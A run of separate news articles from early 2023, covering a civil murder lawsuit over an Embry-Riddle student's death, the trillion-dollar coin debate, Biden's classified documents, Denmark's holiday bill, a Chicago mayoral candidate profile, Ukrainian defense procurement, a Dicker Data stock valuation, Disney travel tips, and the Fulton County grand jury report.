John taunted Alex with a gun, and then at 11:56 a.m. John Burlein shot Bello-Ortiz in the head, the lawsuit states.

The lawsuit states that audio recordings from Ring cameras recorded an exchange between John Burlein and another person who appeared to be his father on speaker phone.

Did you (expletive) kill him? one person asked.

I did.

(Expletive)

What if hes not dead?

Alex is dead.

The father and son invented the suicide story, the lawsuit states.

Five minutes after shooting Bello-Ortiz, John Burlein called 911 and claimed that Bello-Ortiz had collapsed, the lawsuit states. John Burlein did not mention anything about shooting him or that he heard a gunshot or that a gun was involved, the lawsuit stated.

The lawsuit states that a day before the shooting, John told his friends, Brenden Rubio and Robert Kramer, that John wanted to shoot Alex."

The lawsuit states that Johns animosity and threats towards Alex are captured in audio and video from cameras around the Vernon Street home.

Attorney Kendall Coffey, who represents Lourdes Ortiz and Dolph in the federal lawsuit, said in a phone interview that police should have investigated further.

I think the explanation of suicide was accepted and it shouldnt have been, Coffey said. "Theres no note for suicide, no history of depression, no indications of anything but a young man with a great future who's recognized for his positive attitude and motivation.

There were allegations that Bello-Ortiz consumed hallucinogenic mushrooms the night he was shot. Referred to as shrooms, they carry the risk of setting off mental and emotional problems and can cause people who ingest them to see, hear and feel things that are not real, the police report stated.

The actual toxicology report utterly negated that, Coffey said.

Lourdes Ortiz said her son was health conscious and liked to cook using mushrooms, but did not do drugs and didnt even drink Coke.

She said he had been planning to drive down to Miami to visit family before he died.

What I want to see with the lawsuit is that the truth comes out. I want a full, complete, actually, I demand a full, complete investigation on my sons death. This will lead for justice to be done.

Alexander Bello-Ortiz

The lawsuit lists the following: count one, intentional battery/murder claim against John Burlein; count two, negligence claim against John Burlein in the alternative; count three, civil conspiracy against defendants John Burlein, Joseph Burlein, Greg Trax, Brenden Rubio, Henry Lax and Robert Kramer; count four, intentional infliction of emotional distress against John Burlein and Joseph Burlein.

On Thursday, when The News-Journal requested any audio recordings and video in the case, the police department declined to provide them, writing the case was under investigation. Police spokeswoman Carrie McCallister wrote it had been reopened after the family said they had found new evidence. When asked for more details about the new evidence, McCallister did not respond.

The original police report

A police report provides a different account of the shooting.

John Burlein, 22, told police he was in the living room playing music around noon on Sept. 6, 2020, when he heard a noise from Ortizs room, like something fell. Burlein went to check and saw Bello-Ortiz on the floor, bleeding from his ears and mouth, the report stated. He called for help.

The second roommate, Robert Kramer, 23, also a student at ERAU, told police he had been gone for about 20 minutes and returned to find Burlein on the floor with Bello-Ortiz, the report stated. Kramer then helped to perform CPR on Bello-Ortiz.

Investigators learned that Bello-Ortiz had Ring cameras and checked the devices and enhanced the audio. The Ring audio provided the investigators some more information.

Investigators heard in one living room audio recording unintelligible mumbling believed to be from Bello-Ortiz in the audio and heard Burlein reply, I dont even know what you're saying, according to the report.

The recording also recorded someone asking Bello-Ortiz, Did you do drugs? to which he responded, Some, according to the report.

In another living room recording, Bello-Ortiz states, I got a great idea, lets (expletive) ugh do shrooms, the report stated.

In an audio recording from the backyard, police hear a grunt and mumbling. Then Bello-Ortiz yells Bon Voyage. Oh. Police then hear "an apparent gunshot," followed by what sounds like a rifle falling to the ground, according to the report.

Backyard Ring video shows that Bello-Ortiz "was in a deranged state prior to the shooting. Alexander Bello-Ortiz was walking around the backyard in his underwear, talking to himself. Alexander Bello-Ortiz appeared to be in a hallucinatory state," the report stated.

'No signs of wanting to hurt himself'

Burlein and Kramer told police that Bello-Ortiz was in good spirits for the past day, the report stated.

Police called Bello-Ortizs mother in Virginia and she said she had spoken to him that morning and he seemed fine, the report stated.

Investigators checked Bello-Ortiz's cellphone and found no threats toward him, the report said. The report noted that they found the phone contained the downloaded Psilocybin Mushroom Handbook.

An autopsy report listed the cause of death as complications of gunshot wound to the head and the manner of death a suicide. Next to How incident occurred the report stated Shot self. Besides the gunshot wound, the autopsy found a faint purple contusion on the left hand proximal to the first knuckle, the reports state.

Tests did not find basic drugs of abuse and a follow-up test for psilocin did not find any in his system, the report stated. The report also noted that given the time the blood was in storage and a lack of stabilizing additives, the interpretation of these results should be limited.

Police tested Bello-Ortiz's hands for gunshot residue and found none, the report stated. But the report stated that the absence of the residue did not rule out that he had handled a firearm or fired one.

On Sept. 9, 2020, police interviewed Henry Lax, a friend who said that Bello-Ortiz got the rifle from someone he had helped move out of state. The friend had told Bello-Ortiz and at least one other helper they could have any item they wanted for assisting him.

Lax said he would see the rifle in Bello-Ortiz's bedroom and said that Bello-Ortiz bought ammunition the Friday before the shooting.

Lax said that Bello-Ortiz did not show any signs of wanting to hurt himself or others, the report stated.

Lax also said the roommates got along well and were never involved in a verbal or physical altercation.

Lax said that prior to the shooting, Bello-Ortiz was acting out of character because while speaking to family members, he was talking abnormally fast and using foul language.

Lax said that "it was learned that" Kramer had to push open the front door because a couch was behind it, according to the report. Lax also stated that the roommates were cleaning the house that morning and furniture gets moved around when they clean, the report stated.

Lax said he was not aware of any drug use, but stated that Bello-Ortiz "did drink alcohol on occasions," according to the report.

Police stated that Bello-Ortiz's bedroom was not in disarray as if a struggle had occurred. Detectives did not see any injuries on Burlein.

The report states there were no signs of Bello-Ortiz's death being suspicious. Police also discussed the case with prosecutors in the State Attorney's Office homicide unit and "there were no recommendations made by their office," the report stated.

On July 1, 2021, the police were called back to the home after Harold Dolph, who is identified as the stepfather of Bello-Ortiz in the obituary, told them he found a spent .22-caliber shell casing in the rear bedroom underneath a dresser. The casing was placed into property and evidence at the police station, the report stated.

Burlein and Kramer did not return calls for comment.

This article originally appeared on The Daytona Beach News-Journal: ERAU student's family accuses roommate of murder, police reopen case
Janet Yellen is the latest Treasury secretary to push aside the idea of minting a trillion-dollar coin, but proponents nevertheless embarked on a campaign this week to keep the idea on the table during the coming months of debt-ceiling brinkmanship  just in case policymakers get more desperate for options.

The idea, which first originated in the 1990s, is that the Biden administration could stop the standoff by simply having the U.S. Mint issue a new $1 trillion platinum coin and then use that influx of funds to pay the governments bills.

On Monday, supporters of the debt-limit workaround gathered in a virtual seminar on the same day the Wall Street Journal published an interview with Treasury Secretary Yellen, who again said she wouldn't do it and that the Federal Reserve likely wouldnt even accept a coin even if she did.

"I'm trying to make a moderate, gentle case for the coin today," said Rohan Grey, a law professor at the Willamette University College of Law, during the event. "If you want to do any other option first, be my guest, as long as that button exists before you go over the cliff."

In other contexts, Grey has offered much less diplomatic language, telling the Washington Post last week it could be necessary to send troops to the Fed.

Treasury Secretary Janet Yellen delivers a speech during a visit to Goree Island in Senegal on January 21. She has also commented on the debt ceiling during the trip across Africa. (SEYLLOU/AFP via Getty Images)

The case from these activists comes as more and more voices in Washington ask whether there is any way out of the crisis that involves Congress. On Monday, Rep. Ro Khanna (D-CA) said during a meeting with Bloomberg News reporters and editors that he thinks there's a real chance the divided Congress will simply be frozen.

The question is whether its going to come to unilateral action by the executive branch, he said.

Over the years, the movement has been promoted by such prominent figures from Paul Krugman and Laurence Tribe to Philip Diehl, a former director of the United States Mint.

During Mondays event, Diehl addressed Yellen's critique, saying that the Federal Reserve Chair would, in the end, have little choice but to accept a coin if it was offered.

Story continues

"Everyone would go through that theater and play their roles," he said, "but in the end, they would do it."

Philip Diehl, seen in 1999, is a former director of the U.S. Mint who now advocates for the issuance of a trillion-dollar coin.

How the wacky idea would work

The idea stems from a snippet of the U.S. code that authorizes new platinum coins with the denomination left up to the Treasury secretarys discretion.

Then, the premise goes, this new coin could be physically minted and deposited at a commercial bank or directly at the Federal Reserve with those funds making their way to the Treasury's general operating account to avoid a standoff. The coin, activists stress, would never need to be in circulation and would stay in the government's vault.

The idea would almost surely invite numerous legal challenges and the Biden White House has long echoed Yellen, suggesting the Fed might not accept the coin. In 2017, just before leaving office, then-President Barack Obama reflected on a podcast with his former aides about how his administration had dismissed it as one of those wacky ideas that was brought up during the two debt crises he faced in 2011 and 2013.

House Rs voted to raise the debt ceiling three times under Trump, but now they want to hold our economy hostage? So they can gut Social Security and Medicare?

Hell no.

There is nothing to negotiateif McCarthy wont agree to a clean debt ceiling increase, then we #MintTheCoin.  Congresswoman Rashida Tlaib (@RepRashida) January 19, 2023

But the idea has predictably emerged again and touted on platforms like MSNBC and the New Republic as well as in some corners of Capitol Hill. For instance, Congresswoman Rashida Tlaib re-upped the #mintthecoin hashtag last week, and in 2021, then-Speaker Nancy Pelosi told reporters that powerful New York Congressman "Jerry Nadler wants to have a coin, but didnt commit to the idea herself.

During a Yahoo Finance Live Interview this month, former Yellen spokesperson John Rizzo called the idea "a gimmick" and warned that Janet Yellen doesn't bluff.

But advocates say they arent bluffing, either.

During Mondays event, Grey said that the Fed would be "on the wrong side of the U.S. Constitution" if it refused the coin and that trying to block it "is a recipe for constitutional collapse and a dangerous precedent more broadly."

Ben Werschkul is Washington correspondent for Yahoo Finance.

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Democrats are expressing alarm over President Bidens classified documents controversy, with some criticizing the president as diminished in stature and his staff as irresponsible.

Im very concerned, said Sen. Jon Tester (Mont.), one of several incumbent Democrats who face potentially difficult reelection races next year in reliably GOP states in presidential elections.

We have to get to the bottom of it to find out what the hell happened, why it happened, he said.

This is about national security, Tester added, saying investigators need to find out if it put our national security at risk.

Bidens January has been submerged in revelation after revelation of classified documents found at his former office and home. Most recently, 11 more documents were found during a search at Bidens Wilmington, Del., home on Friday.

The drip-drip-drip nature of the findings has left Democrats and Republicans alike wondering whether there will be more documents found and has left the White House looking off-balance at times.

Biden emerged from the 2022 midterms in a stronger position after Democrats gained a seat in the Senate and held down their losses in the House. Democrats still see Biden as their most likely standard-bearer, and lawmakers in his party have been quick to contrast his handling of classified documents with former President Trump  who is dealing with his own controversy.

At the same time, theres little doubt the issue has raised some questions for Biden and the White House just as his team prepared to move forward with an expected presidential announcement later this year.

Sen. Joe Manchin (D-W.Va.), who like Tester is up for reelection next year in a state that Trump won easily in 2020, blasted the lax handling of secret information as unbelievable and totally irresponsible.

Sen. Joe Manchin, D-W.Va.

Sen. Joe Manchin, D-W.Va., on Sept. 20, 2022. (AP Photo/Mariam Zuhaib, File)

Bidens attempt to dismiss the building scandal last week by asserting theres no there there also drew a barb from Manchin.

Story continues

He told CNN on Monday thats just not a good statement, adding we just dont know what secrets may have been compromised.

Criticism from Manchin is hardly unheard of, but Sen. Dick Durbin (D-Ill.), who represents a safer state for Democrats, was also somewhat critical on Sunday. He said the controversy diminishes Biden and noted the president rightly felt embarrassed by the situation.

Sen. Richard Durbin (D-Ill.)

Sen. Richard Durbin (D-Ill.) on November 15, 2022. (Greg Nash)

Durbin on Monday said of the White House: They were not careful in handling classified documents.

When I think of how we deal with them in the Capitol in comparison, whoever was responsible for it didnt follow the basic rules, Durbin said of the handling of classified documents.

Durbin said he never took a classified document out of his office, let alone out of the building.

Yet Durbin, the chairman of the Senate Judiciary Committee, stopped short of speculating whether Biden committed a potential crime, telling reporters: I wouldnt go that far.

House Republicans are saber-rattling over the issue, signaling they intend to use their newly won oversight powers to look into the Biden documents story in a more aggressive way than they looked into Trumps controversy.

Rep. James Comer (R-Ky.), the new chair of the House Oversight and Accountability Committee, has requested that the Secret Service hand over all the information it has on visitors to Bidens Delaware home in the time since he served as vice president.

The request  made to Secret Service Director Kimberly Cheatle on Monday  came after Comer demanded that visitor logs for the residence be turned over. The White House said last week that such records do not exist.

Later on Monday, White House counsel Stuart Delery wrote to Comer that the administration does not have possession of the documents the National Archives and Department of Justice have taken as part of the investigation into Bidens handling of classified materials.

Delery pledged to accommodate legitimate oversight interests in response to Comers request.

One GOP strategist said Republicans will go after Biden aggressively given the Trump controversy.

The House is going to have a field day with investigations because of the fact that the Biden administration has been so outspoken criticizing Trump for the exact thing, said Brian Darling, a former Senate aide.

Darling said the House could vote on articles of impeachment if the special prosecutor or House investigators find Biden broken the law or jeopardized national security.

Its possible. It depends on how the hearings go in the House. I think its quite possible that there will be discussion about impeachment because Democrats seemed so open to the idea of impeachment against President Trump and weve seen a lot of the payback from many of the things that happened when Democrats controlled the House, like kicking members off committees, he said.

Durbin told reporters he expects House Republicans to go overboard in trying to tear down Biden, just as they did when they tried to blame former Secretary of State Hillary Clinton for the death of four Americans at a U.S. diplomatic post in Benghazi, Libya, in 2012.

Senate Republican Whip John Thune (S.D.) said Bidens possession of classified documents now effectively completely neutralizes Democratic attacks against Trump for holding sensitive material in Florida.

Sen. John Thune (R-S.D.)

Sen. John Thune (R-S.D.) on Tuesday, November 29, 2022. (Greg Nash)

Im not sure I understand all the laws that pertain to classified documents. I know the procedures that apply, but it seems to me the Justice Department is going to have to sort all that out and I think right now its still an evolving situation, he said.

Sen. Ron Wyden (Ore.), a senior Democrat on the Intelligence Committee, said the careful handling of classified documents should always be a top priority and declared: All of the circumstances are going to be examined . So theres a message that nobody is above the law.

The rule that I follow scrupulously is you dont take documents out of the room, he said. Obviously theres a lot of information coming out and I want to wait and see what the facts are.

But Wyden also gave Biden some political cover by drawing a distinction with Trump.

One point that I dont believe is in contention is President Biden has voluntarily cooperated and the former president did not, he said.

Sen. Sherrod Brown (D-Ohio), who faces a competitive re-election in a Republican-leaning state, urged the administration to be as transparent as possible.

Theres nothing thats betrayal of national interest, theres nothing hes trying to hide but they need to come out with all of it, he said. Hes got to deal with it and get it over with.

Sen. Sheldon Whitehouse (D-R.I.) expressed frustration that the media attention surrounding the classified documents scandal threatens to eclipse the congressional agenda.

Its being looked at to the nth degree, he said. Im concerned that I think were wasting an awful lot of effort on something that has a special prosecutor look[ing] into it and at the end of the day it looks like all youre going to find is some sloppiness. We have real problems to work on, he said.

For the latest news, weather, sports, and streaming video, head to The Hill.
Danish Prime Minister Mette Frederiksen talks to media in the Justus Lipsius Atrium, the EU Council headquarter on Dec. 15, 2022 in Brussels.

Danish Prime Minister Mette Frederiksen talks to media in the Justus Lipsius Atrium, the EU Council headquarter on Dec. 15, 2022 in Brussels. Credit - Thierry MonasseGetty Images

Denmarks Prime Minister Mette Frederiksen touched a nerve on Tuesdayangering a broad swathe of Danes in a country where political consensus is the norm. Frederiksen and her centrist coalition government presented a bill to parliament that would abolish one of the countrys 11 public holidays, in order to pay for more military spending.

On the fourth Friday after Easter, Denmark typically observes a religious festival known as Store Bededag, or Great Prayer Day. The national holiday has existed for over three centuries, with stores and bars closing to mark the occasion.

But the closure of businesses hampers economic activityand the governments tax revenue.

With Putins attack on Ukraine, there is war in Europe. The threat has moved closer, the government reportedly wrote in a 2022 document outlining its policy goals. To finance increased military spending in the coming years, the government will propose a law abolishing a public holiday that will come into effect in 2024. Danes must contribute to our common security.

Denmarks government hopes the additional tax revenue from abolishing the holiday will help it reach a longstanding NATO target of spending 2% of its GDP on defense. Few European countries hit that mark, to Washingtons ire.

An official estimate suggests that canceling the public holiday would generate as much as 3 billion kroner ($439 million) per year. In 2022, Denmarks defense budget was 27.1 billion Danish kroner ($3.9 billion), or around 1% of its GDP. In December, the government pledged a further 300 million kroner in military aid to support Ukraines war efforts.

Read More: Denmark Just Reversed 30 Years of Euroskeptic Defense PolicyThanks to Russia

But Denmarks 10 Lutheran bishops, who say they were not consulted beforehand, have come out against the measure. Meanwhile, trade unions have launched an online petition to abandon the proposal, with over 405,000 signatures and counting.

Story continues

The proposal has also received backlash from opposition parties and some of the three-party alliances own ranks, which consist of Frederiksens center-left Social Democrats, the center-right Liberals, and the centrist Moderates.

The government is shutting the rest of us out, said Pia Olsen Dyhr, leader of the left-leaning Social Peoples Party that was formerly an ally of the Social Democrats, according to the Associated Press. Sren Pape Poulsen, the head of the center-right Conservatives, called the proposed abolition a mistake and said: It is important to me to protect our culture, history, and the values and deep roots our society stands on.

But the holiday would become a thing of the past, if it makes it through parliament. The first reading of the bill is due to take place on Feb. 2, before it goes to its second and third readings.
U.S. Rep. Jesus Chuy Garcia ran for mayor in 2015, challenging Rahm Emanuel as the candidate hand-picked by Chicagos progressive unions. Born in Durango, Mexico, Garcia was a young protege of Latino community activist Rudy Lozano, who was a budding political star before he was killed by a gang member. With Harold Washingtons help, Garcia won election as 22nd Ward Democratic committeeman in 1984. Garcia was elected alderman and then state senator before being defeated by Hispanic allies of then-Mayor Richard M. Daley. After running for the Cook County Board, Garcia ran against Emanuel and became a progressive folk hero. He jumped from the Cook County Board to the U.S. Congress in 2018 after Rep. Luis Gutierrez retired, where Garcia formed an alliance with now-indicted Illinois House Speaker Michael Madigan and became an influential power broker in state politics.

Age: 66

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Born: Durango, Mexico

Personal: Married to Evelyn Chinea-Garcia, three children

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Education: Bachelors degree and masters in urban public planning and policy, University of Illinois at Chicago

Neighborhood: Little Village

Current job: Congressman

Government experience: Elected 22nd Ward committeeman in 1984, won a special election for City Council in 1986, elected to the Illinois Senate in 1992, lost reelection in 1998. In 2010, Garcia ran for Cook County commissioner and won. He successfully ran for U.S. Congress in 2018.

Political experience: Garcia pushed Rahm Emanuel into Chicagos first mayoral runoff in 2015 but lost. He passed on a bid for mayor in 2019, instead endorsing Lori Lightfoot.

Campaign slogan: Chuy for Chicago

Campaign website: chuyforchicago.com

Garcias responses to Tribune candidate questionnaire: Click here

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Other candidates questionnaire responses: Click here

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Deputy Defense Minister Vyacheslav Shapovalov has summoned a letter of resignation on Jan. 24 following a procurement scandal that rocked Ukraine.

Ukrainian newspaper ZN.UA reported on Jan. 21 that Defense Ministry purchases some foods for the military at prices two to three times higher than those at Kyiv grocery stores.

The ministry called corruption allegations "unsubstantiated" but thanked Shapovalov, who was in charge of procurement, for taking the fall.

It is unknown whether Shapovalov was asked to resign following journalists' findings.

Journalists claim to have obtained a recent Defense Ministry contract for food procurement of soldiers in 2023 for the total amount of Hr 13.16 billion ($360 million). The document was concluded on Dec. 23.

According to the report, the Defense Ministry agreed to buy eggs at Hr 17 per item, while in Kyivs grocery stores, the price per egg is closer to Hr 7. A kilogram of potatoes to be ordered for Ukrainian soldiers costs Hr 22, while the price in grocery stores is about Hr 9, ZN.UA reported.

The publication alleges that the inflated prices indicate a possible corruption scheme.

On Jan. 23, Defense Minister Oleksii Reznikov came out with a statement calling inflated prices a technical error of the contractor, who made a mistake while transferring data from one table to another.

Reznikov dismissed the investigative report as nothing but manipulations and promised repercussions to those who leaked the contract to journalists, adding that the Security Service will look for the alleged whistleblower.
In this article we are going to estimate the intrinsic value of Dicker Data Limited (ASX:DDR) by taking the forecast future cash flows of the company and discounting them back to today's value. We will take advantage of the Discounted Cash Flow (DCF) model for this purpose. Models like these may appear beyond the comprehension of a lay person, but they're fairly easy to follow.

We generally believe that a company's value is the present value of all of the cash it will generate in the future. However, a DCF is just one valuation metric among many, and it is not without flaws. For those who are keen learners of equity analysis, the Simply Wall St analysis model here may be something of interest to you.

See our latest analysis for Dicker Data

The Method

We are going to use a two-stage DCF model, which, as the name states, takes into account two stages of growth. The first stage is generally a higher growth period which levels off heading towards the terminal value, captured in the second 'steady growth' period. To begin with, we have to get estimates of the next ten years of cash flows. Where possible we use analyst estimates, but when these aren't available we extrapolate the previous free cash flow (FCF) from the last estimate or reported value. We assume companies with shrinking free cash flow will slow their rate of shrinkage, and that companies with growing free cash flow will see their growth rate slow, over this period. We do this to reflect that growth tends to slow more in the early years than it does in later years.

A DCF is all about the idea that a dollar in the future is less valuable than a dollar today, so we discount the value of these future cash flows to their estimated value in today's dollars:

10-year free cash flow (FCF) estimate

2023 2024 2025 2026 2027 2028 2029 2030 2031 2032 Levered FCF (A$, Millions) AU$78.4m AU$96.8m AU$90.9m AU$101.4m AU$106.8m AU$111.4m AU$115.4m AU$118.9m AU$122.2m AU$125.2m Growth Rate Estimate Source Analyst x3 Analyst x3 Analyst x1 Analyst x1 Est @ 5.36% Est @ 4.31% Est @ 3.58% Est @ 3.07% Est @ 2.71% Est @ 2.46% Present Value (A$, Millions) Discounted @ 8.8% AU$72.1 AU$81.8 AU$70.7 AU$72.4 AU$70.2 AU$67.3 AU$64.1 AU$60.7 AU$57.4 AU$54.0

("Est" = FCF growth rate estimated by Simply Wall St)

Present Value of 10-year Cash Flow (PVCF) = AU$671m

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The second stage is also known as Terminal Value, this is the business's cash flow after the first stage. For a number of reasons a very conservative growth rate is used that cannot exceed that of a country's GDP growth. In this case we have used the 5-year average of the 10-year government bond yield (1.9%) to estimate future growth. In the same way as with the 10-year 'growth' period, we discount future cash flows to today's value, using a cost of equity of 8.8%.

Terminal Value (TV)= FCF 2032  (1 + g)  (r  g) = AU$125m (1 + 1.9%)  (8.8% 1.9%) = AU$1.8b

Present Value of Terminal Value (PVTV)= TV / (1 + r)10= AU$1.8b ( 1 + 8.8%)10= AU$799m

The total value, or equity value, is then the sum of the present value of the future cash flows, which in this case is AU$1.5b. The last step is to then divide the equity value by the number of shares outstanding. Relative to the current share price of AU$10.9, the company appears potentially overvalued at the time of writing. The assumptions in any calculation have a big impact on the valuation, so it is better to view this as a rough estimate, not precise down to the last cent.

dcf

Important Assumptions

The calculation above is very dependent on two assumptions. The first is the discount rate and the other is the cash flows. If you don't agree with these result, have a go at the calculation yourself and play with the assumptions. The DCF also does not consider the possible cyclicality of an industry, or a company's future capital requirements, so it does not give a full picture of a company's potential performance. Given that we are looking at Dicker Data as potential shareholders, the cost of equity is used as the discount rate, rather than the cost of capital (or weighted average cost of capital, WACC) which accounts for debt. In this calculation we've used 8.8%, which is based on a levered beta of 1.147. Beta is a measure of a stock's volatility, compared to the market as a whole. We get our beta from the industry average beta of globally comparable companies, with an imposed limit between 0.8 and 2.0, which is a reasonable range for a stable business.

SWOT Analysis for Dicker Data

Strength

Earnings growth over the past year exceeded the industry.

Debt is well covered by earnings.

Weakness

Dividend is low compared to the top 25% of dividend payers in the Electronic market.

Expensive based on P/E ratio and estimated fair value.

Shareholders have been diluted in the past year.

Opportunity

Annual earnings are forecast to grow faster than the Australian market.

Threat

Debt is not well covered by operating cash flow.

Dividends are not covered by earnings and cashflows.

Revenue is forecast to grow slower than 20% per year.

Moving On:

Whilst important, the DCF calculation shouldn't be the only metric you look at when researching a company. The DCF model is not a perfect stock valuation tool. Preferably you'd apply different cases and assumptions and see how they would impact the company's valuation. If a company grows at a different rate, or if its cost of equity or risk free rate changes sharply, the output can look very different. Can we work out why the company is trading at a premium to intrinsic value? For Dicker Data, we've compiled three additional factors you should further research:

Risks: Consider for instance, the ever-present spectre of investment risk. We've identified 3 warning signs with Dicker Data (at least 2 which can't be ignored) , and understanding these should be part of your investment process. Future Earnings: How does DDR's growth rate compare to its peers and the wider market? Dig deeper into the analyst consensus number for the upcoming years by interacting with our free analyst growth expectation chart. Other High Quality Alternatives: Do you like a good all-rounder? Explore our interactive list of high quality stocks to get an idea of what else is out there you may be missing!

PS. Simply Wall St updates its DCF calculation for every Australian stock every day, so if you want to find the intrinsic value of any other stock just search here.

Have feedback on this article? Concerned about the content? Get in touch with us directly. Alternatively, email editorial-team (at) simplywallst.com.



This article by Simply Wall St is general in nature. We provide commentary based on historical data and analyst forecasts only using an unbiased methodology and our articles are not intended to be financial advice. It does not constitute a recommendation to buy or sell any stock, and does not take account of your objectives, or your financial situation. We aim to bring you long-term focused analysis driven by fundamental data. Note that our analysis may not factor in the latest price-sensitive company announcements or qualitative material. Simply Wall St has no position in any stocks mentioned.

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Youll receive a US$30 Amazon Gift card for 1 hour of your time while helping us build better investing tools for the individual investors like yourself. Sign up here
A Disney vacation is a dream come true for many. However, that dream can quickly go south without proper planning and organizing. Ive made it one of my goals to visit every Disney theme park in the world. This summer, after visiting Disneyland Paris, I knew my goal was that much more achievable.

We sat down with Disney Creator Lab Influencer Portia Gorman to share all the ins and outs of planning the perfect Disney vacation. Gorman founded the Inspired Chick blog and brand, where she shares her family travels, local adventures, and food art on her social media channels.

Check out her insights below.

When was your first Disney trip?

My parents took us to Disneyland a few times as kids, but I cant grasp those memories. When my second son Bryce turned 2, we decided to go for his birthday since both boys were still in strollers (kids in strollers get to go to Disneyland for FREE). That trip forever changed our lives. I vividly remember having an automatic response to the Peter Pan theme music playing as we walked in. I didnt realize I was skipping until my husband teased me about it.

I remember being inspired by little girls dressed up as their favorite princesses, the variety of stylish Minnie Mouse Ears (who knew?), the nostalgia of all my favorite childhood Disney movies, a glorious castle, fireworks, and the pure joy in my childrens eyes as they were taking it all in. This was now home. When my mom asked what we wanted for Christmas that year, I begged for Disneyland passes for our family, and weve been faithful Disneyland-goers ever since.

Whats your favorite thing about Disney?

Outside of a powerful church service, theres no place in the world where you can visit and know deep in your heart these two truths: anything is possible, and dreams come true.

Another favorite thing about Disney is that it champions diversity. Disney gave my daughter a princess that looks like her. In Princess Tiana, we have the first African American Disney princess. We cant wait to see the brown girl magic with the Little Mermaid remake next spring. Disney affirms that we belong too and that representation matters.

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How can families prepare for a smooth trip to Disney?

A smooth trip to Disney is all about preparation and managing expectations. You have to go into it knowing that its not humanly possible to do everything. To help with that, Id recommend getting a hotel and going for at least three days (or more). There will be a million things to do, eat, and see, and you just cant get it all in with one visit. A hotel stay allows families with small children to be shuttled back and forth to the hotel, where kids can nap, and parents can decompress before heading back at night for fireworks. And it means you can go back for a few days to get on more rides and experience more magic.

Plan as much as you can in advance. I recommend booking your hotel, making park and dining reservations, and planning outfits at least 60 days in advance.

Download and familiarize yourself with the Disneyland or Disneyworld App, where you can see ride wait times and showtimes, find out where your favorite characters will be for meet & greet, make dining reservations, and mobile order meals. You can also purchase Genie Plus through the mobile app, which will allow you to book a slot of time to skip the wait for your favorite rides.

Is Disney just for kids? Or is it fun for adults also?

My husband teases me and says I love Disney even more than the kids. And just maybe hes right- and if so thats my business LOL. Disney is absolutely for adults. One of my most happy Valentines Days was when my husband surprised me with a hotel stay and tickets to Sweethearts Night, a separately ticketed event themed around your favorite Disney couples featuring a royal ball.

Another tradition is to leave the kids at home and attend Disneylands annual food & wine festival with girlfriends. Theres a whole adult culture of Disney-loving fans who cosplay and create fashion trends based on their favorite Disney characters. The Disney adult community is thriving and strong.

What has your experience been like in the Disney Creator Lab program?

Being a part of the Disney Creators Lab program is a dream come true for me. The Disney Creators Lab program seeks out emerging content creators and provides us with a wide range of opportunities to grow as creators and sharpen our storytelling skills as we learn from industry professionals in courses curated just for developing content creators.

Being in the cohort means we will have the opportunity to go on some special Disney vacations as well. When I got the email asking me to participate, I couldnt believe it and thought it had to be spam, but it turned out to be a dream come true. We were recently hosted at Disneyland, where we were invited to some special celebrations and learning experiences and had the opportunity to meet in person with our cohort to bond. Everyone in the cohort is talented, welcoming, and fun!

Whats your top tip/hack for visiting Disney?

Get there early. Its worth the sacrifice. On our trip to Walt Disney World, we caught the earliest shuttle from our hotel to the parks and waited in line 20 minutes before the parks opened each day. That made ALL the difference. We walked on to rides with heavy wait times like Star Wars: Rise of The Resistance, Mickey & Minnies Runaway Railway, and Its A Small World.

This also allowed us to take the most magical photos at the Castle before it got too crowded. We could use our Genie for the remaining rides on our bucket list. We didnt wait in line. We got on just about every ride we wanted to. We also could leave the parks daily at 3 to rest because wed already gotten on our top rides. We rested at the hotel and shuttled back for fireworks.

Anything else youd like to share?

If youre reading this, its your sign to book the Disney trip. No matter where you find yourself in life, you deserve a day (or week) at the happiest place on earth.

Related: I Ate Around The World At Disneys EPCOT And These Were My Favorite Eats
Fulton County District Attorney Fani Willis told a judge Tuesday she opposes releasing to the public a report by a special purpose grand jury that spent months investigating former President Donald Trump's behavior after the 2020 election.

Describing herself as "one of the few people to have had the opportunity to read the report," Willis said releasing it "at this time" would be inappropriate. The 23-person panel of Georgians, with three alternates, interviewed 75 witnesses while probing efforts by Trump and his allies to overturn the presidential election.

The special purpose grand jury, an investigatory body that can recommend charges but cannot indict, was dissolved earlier this month after submitting its report to Willis and Judge Robert McBurney.

"We are asking that this report not be released, because, you having seen that report, decisions are imminent," Willis told McBurney during a hearing Tuesday.

Willis' office has indicated in court filings that others have faced scrutiny in the probe, including a group of 16 Georgia Republicans who participated in an alternate elector scheme, and former Trump attorney Rudy Giuliani.

Fulton County District Attorney Fani Willis watches as potential jurors are excused during proceedings to seat a special purpose grand jury in Georgia on May 2, 2022, to look into the actions of former President Donald Trump and his supporters who tried to overturn the results of the 2020 election. / Credit: AP Photo/Ben Gray

Attorneys for a broad coalition of media organizations, including CBS News, submitted a filing Monday arguing that "the public interest in the report is extraordinary."

The coalition noted that, according to a Jan. 9 order by McBurney, the grand jury recommended releasing the report.

Prosecutor Donald Wakefield said the office isn't necessarily opposed to releasing it in the future, but wants it kept secret until charging decisions are made.

"Our position should not be understood to be a blanket opposition to release of the report forever and 'til the end of time," Wakefield said.

"We believe the report should be released now, and in its entirety, and that approach is consistent with the way the American judicial system operates," said Tom Clyde, an attorney for the media coalition.

"It is not unusual for a district attorney or a prosecuting authority to be uncomfortable with having to release information during the progress of a case," Clyde said, arguing that the secrecy of the grand jury process came to an end when the report was filed.

Story continues

"The jurors themselves have asked for it to be published," Clyde said.

Attorneys for those who were witnesses or targets of the investigation were allowed to participate in the hearing, but did not.

Attorneys for Trump said in an emailed statement Monday that "to date, we have never been a part of this process."

"The grand jury compelled the testimony of dozens of other, often high-ranking, officials during the investigation, but never found it important to speak with the President," said attorneys Drew Findling, Marissa Goldberg and Jennifer Little. "He was never subpoenaed nor asked to come in voluntarily by this grand jury or anyone in the Fulton County District Attorney's Office. Therefore, we can assume that the grand jury did their job and looked at the facts and the law, as we have, and concluded there were no violations of the law by President Trump."

McBurney did not indicate when he'll make a decision, but said during Tuesday's hearing he needed to "think about this a little bit." McBurney said he planned to send both sides follow-up questions.

Trump arrives in New York City for arraignment as political rivals assess the field

Trump arrives in New York ahead of expected Tuesday arraignment

Former President Donald Trump arrives in New York City ahead of arraignment
Prime Minister Denys Shmyhal announced the holding of a financial Ramstein this week.

Source: Shmyhal during a government meeting on Tuesday

Detail: The G7 countries created a multi-donor coordination platform, the so-called financial Ramstein.

It will work in three main directions:

permanent short-and long-term support for Ukraine;

international financing;

coordination of private sector reforms and development.

